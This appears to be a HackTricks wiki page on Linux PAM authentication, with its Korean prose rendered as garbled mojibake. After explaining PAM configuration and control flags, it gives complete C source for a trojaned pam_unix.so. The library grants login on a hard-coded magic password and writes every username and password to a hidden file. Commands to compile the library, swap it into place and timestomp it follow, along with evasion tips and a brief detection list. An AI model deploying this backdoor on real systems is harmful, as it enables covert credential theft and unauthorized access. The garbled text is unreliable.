PAM - Pluggable Authentication Modules

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**PAM (Pluggable Authentication Modules)**๋Š” ์ปดํ“จํ„ฐ ์„œ๋น„์Šค์— ์ ‘๊ทผํ•˜๋ ค๋Š” ์‚ฌ์šฉ์ž์˜ ์‹ ์›์„ ํ™•์ธํ•˜๋Š” ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์œผ๋กœ, ๋‹ค์–‘ํ•œ ๊ธฐ์ค€์— ๋”ฐ๋ผ ์ ‘๊ทผ์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋””์ง€ํ„ธ ๊ฒŒ์ดํŠธํ‚คํผ์™€ ์œ ์‚ฌํ•˜์—ฌ, ๊ถŒํ•œ์ด ์žˆ๋Š” ์‚ฌ์šฉ์ž๋งŒ ํŠน์ • ์„œ๋น„์Šค์— ์ฐธ์—ฌํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ณด์žฅํ•˜๋ฉฐ, ์‹œ์Šคํ…œ ๊ณผ๋ถ€ํ•˜๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ์„ ์ œํ•œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ตฌ์„ฑ ํŒŒ์ผ

  • Solaris ๋ฐ UNIX ๊ธฐ๋ฐ˜ ์‹œ์Šคํ…œ์€ ์ผ๋ฐ˜์ ์œผ๋กœ /etc/pam.conf์— ์œ„์น˜ํ•œ ์ค‘์•™ ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • Linux ์‹œ์Šคํ…œ์€ ๋””๋ ‰ํ† ๋ฆฌ ๋ฐฉ์‹์„ ์„ ํ˜ธํ•˜๋ฉฐ, /etc/pam.d ๋‚ด์— ์„œ๋น„์Šค๋ณ„ ๊ตฌ์„ฑ์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๋กœ๊ทธ์ธ ์„œ๋น„์Šค์˜ ๊ตฌ์„ฑ ํŒŒ์ผ์€ /etc/pam.d/login์— ์žˆ์Šต๋‹ˆ๋‹ค.

๋กœ๊ทธ์ธ ์„œ๋น„์Šค์— ๋Œ€ํ•œ PAM ๊ตฌ์„ฑ์˜ ์˜ˆ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
auth required /lib/security/pam_unix_auth.so try_first_pass
account sufficient /lib/security/pam_ldap.so
account required /lib/security/pam_unix_acct.so
password required /lib/security/pam_cracklib.so
password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so

PAM ๊ด€๋ฆฌ ์˜์—ญ

์ด ์˜์—ญ, ๋˜๋Š” ๊ด€๋ฆฌ ๊ทธ๋ฃน์€ auth, account, password, ๋ฐ session์„ ํฌํ•จํ•˜๋ฉฐ, ๊ฐ๊ธฐ ์ธ์ฆ ๋ฐ ์„ธ์…˜ ๊ด€๋ฆฌ ํ”„๋กœ์„ธ์Šค์˜ ๋‹ค์–‘ํ•œ ์ธก๋ฉด์„ ๋‹ด๋‹นํ•ฉ๋‹ˆ๋‹ค:

  • Auth: ์‚ฌ์šฉ์ž ์‹ ์›์„ ๊ฒ€์ฆํ•˜๋ฉฐ, ์ข…์ข… ๋น„๋ฐ€๋ฒˆํ˜ธ ์ž…๋ ฅ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.
  • Account: ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ์ด๋‚˜ ์‹œ๊ฐ„ ์ œํ•œ๊ณผ ๊ฐ™์€ ์กฐ๊ฑด์„ ํ™•์ธํ•˜์—ฌ ๊ณ„์ • ๊ฒ€์ฆ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • Password: ๋ณต์žก์„ฑ ๊ฒ€์‚ฌ ๋˜๋Š” ์‚ฌ์ „ ๊ณต๊ฒฉ ๋ฐฉ์ง€๋ฅผ ํฌํ•จํ•˜์—ฌ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—…๋ฐ์ดํŠธ๋ฅผ ๊ด€๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  • Session: ์„œ๋น„์Šค ์„ธ์…˜์˜ ์‹œ์ž‘ ๋˜๋Š” ์ข…๋ฃŒ ์‹œ ์ž‘์—…์„ ๊ด€๋ฆฌํ•˜๋ฉฐ, ๋””๋ ‰ํ† ๋ฆฌ ๋งˆ์šดํŠธ ๋˜๋Š” ๋ฆฌ์†Œ์Šค ์ œํ•œ ์„ค์ •๊ณผ ๊ฐ™์€ ์ž‘์—…์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

PAM ๋ชจ๋“ˆ ์ œ์–ด

์ œ์–ด๋Š” ๋ชจ๋“ˆ์˜ ์„ฑ๊ณต ๋˜๋Š” ์‹คํŒจ์— ๋Œ€ํ•œ ๋ฐ˜์‘์„ ๊ฒฐ์ •ํ•˜๋ฉฐ, ์ „์ฒด ์ธ์ฆ ํ”„๋กœ์„ธ์Šค์— ์˜ํ–ฅ์„ ๋ฏธ์นฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค:

  • Required: ํ•„์ˆ˜ ๋ชจ๋“ˆ์˜ ์‹คํŒจ๋Š” ๊ฒฐ๊ตญ ์‹คํŒจ๋กœ ์ด์–ด์ง€์ง€๋งŒ, ๋ชจ๋“  ํ›„์† ๋ชจ๋“ˆ์ด ํ™•์ธ๋œ ํ›„์—๋งŒ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • Requisite: ์‹คํŒจ ์‹œ ์ฆ‰๊ฐ์ ์ธ ํ”„๋กœ์„ธ์Šค ์ข…๋ฃŒ.
  • Sufficient: ์„ฑ๊ณต ์‹œ ๋™์ผ ์˜์—ญ์˜ ๋‚˜๋จธ์ง€ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•˜์ง€๋งŒ, ํ›„์† ๋ชจ๋“ˆ์ด ์‹คํŒจํ•  ๊ฒฝ์šฐ๋Š” ์ œ์™ธ๋ฉ๋‹ˆ๋‹ค.
  • Optional: ์Šคํƒ์—์„œ ์œ ์ผํ•œ ๋ชจ๋“ˆ์ผ ๊ฒฝ์šฐ์—๋งŒ ์‹คํŒจ๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์‹œ ์‹œ๋‚˜๋ฆฌ์˜ค

์—ฌ๋Ÿฌ ์ธ์ฆ ๋ชจ๋“ˆ์ด ์žˆ๋Š” ์„ค์ •์—์„œ ํ”„๋กœ์„ธ์Šค๋Š” ์—„๊ฒฉํ•œ ์ˆœ์„œ๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค. pam_securetty ๋ชจ๋“ˆ์ด ๋กœ๊ทธ์ธ ํ„ฐ๋ฏธ๋„์ด ์Šน์ธ๋˜์ง€ ์•Š์•˜๋‹ค๊ณ  ํŒ๋‹จํ•˜๋ฉด, ๋ฃจํŠธ ๋กœ๊ทธ์ธ์ด ์ฐจ๋‹จ๋˜์ง€๋งŒ, โ€œrequiredโ€ ์ƒํƒœ๋กœ ์ธํ•ด ๋ชจ๋“  ๋ชจ๋“ˆ์ด ์—ฌ์ „ํžˆ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. pam_env๋Š” ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•˜์—ฌ ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์„ ํ–ฅ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. pam_ldap ๋ฐ pam_unix ๋ชจ๋“ˆ์€ ํ•จ๊ป˜ ์ž‘๋™ํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ ์ธ์ฆํ•˜๋ฉฐ, pam_unix๋Š” ์ด์ „์— ์ œ๊ณต๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์—ฌ ์ธ์ฆ ๋ฐฉ๋ฒ•์˜ ํšจ์œจ์„ฑ๊ณผ ์œ ์—ฐ์„ฑ์„ ๋†’์ž…๋‹ˆ๋‹ค.

PAM ๋ฐฑ๋„์–ด โ€“ pam_unix.so ํ›„ํ‚น

๊ณ ๊ฐ€์น˜ Linux ํ™˜๊ฒฝ์—์„œ ๊ณ ์ „์ ์ธ ์ง€์†์„ฑ ํŠธ๋ฆญ์€ ํ•ฉ๋ฒ•์ ์ธ PAM ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํŠธ๋กœ์ด ๋ชฉ๋งˆํ™”๋œ ๋“œ๋กญ์ธ์œผ๋กœ ๊ต์ฒดํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ชจ๋“  SSH / ์ฝ˜์†” ๋กœ๊ทธ์ธ์€ pam_unix.so:pam_sm_authenticate()๋ฅผ ํ˜ธ์ถœํ•˜๋ฏ€๋กœ, ์ž๊ฒฉ ์ฆ๋ช…์„ ์บก์ฒ˜ํ•˜๊ฑฐ๋‚˜ ๋งˆ๋ฒ• ๋น„๋ฐ€๋ฒˆํ˜ธ ์šฐํšŒ๋ฅผ ๊ตฌํ˜„ํ•˜๊ธฐ ์œ„ํ•ด ๋ช‡ ์ค„์˜ C ์ฝ”๋“œ๋ฉด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

์ปดํŒŒ์ผ ์š”์•ฝํ‘œ

#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

/* Magic pwd โ†’ immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;

/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);

/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}

์ปดํŒŒ์ผํ•˜๊ณ  ์€๋ฐ€ํ•˜๊ฒŒ ๊ต์ฒดํ•˜๊ธฐ:

gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
mv /lib/security/pam_unix.so /lib/security/pam_unix.so.bak
mv pam_unix.so /lib/security/pam_unix.so
chmod 644 /lib/security/pam_unix.so     # keep original perms
touch -r /bin/ls /lib/security/pam_unix.so  # timestomp

OpSec Tips

  1. ์›์ž์  ๋ฎ์–ด์“ฐ๊ธฐ โ€“ ์ž„์‹œ ํŒŒ์ผ์— ์“ฐ๊ณ  mv๋กœ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ SSH๋ฅผ ์ž ๊ธ€ ์ˆ˜ ์žˆ๋Š” ๋ฐ˜์ฏค ์ž‘์„ฑ๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ํ”ผํ•˜์‹ญ์‹œ์˜ค.
  2. /usr/bin/.dbus.log์™€ ๊ฐ™์€ ๋กœ๊ทธ ํŒŒ์ผ ๋ฐฐ์น˜๋Š” ํ•ฉ๋ฒ•์ ์ธ ๋ฐ์Šคํฌํƒ‘ ์•„ํ‹ฐํŒฉํŠธ์™€ ์„ž์ž…๋‹ˆ๋‹ค.
  3. PAM์˜ ์ž˜๋ชป๋œ ๋™์ž‘์„ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๊ธฐํ˜ธ ๋‚ด๋ณด๋‚ด๊ธฐ๋ฅผ ๋™์ผํ•˜๊ฒŒ ์œ ์ง€ํ•˜์‹ญ์‹œ์˜ค (pam_sm_setcred ๋“ฑ).

Detection

  • pam_unix.so์˜ MD5/SHA256์„ ๋ฐฐํฌํŒ ํŒจํ‚ค์ง€์™€ ๋น„๊ตํ•˜์‹ญ์‹œ์˜ค.
  • /lib/security/ ์•„๋ž˜์—์„œ ์„ธ๊ณ„ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ๋˜๋Š” ๋น„์ •์ƒ์ ์ธ ์†Œ์œ ๊ถŒ์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค.
  • auditd ๊ทœ์น™: -w /lib/security/pam_unix.so -p wa -k pam-backdoor.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ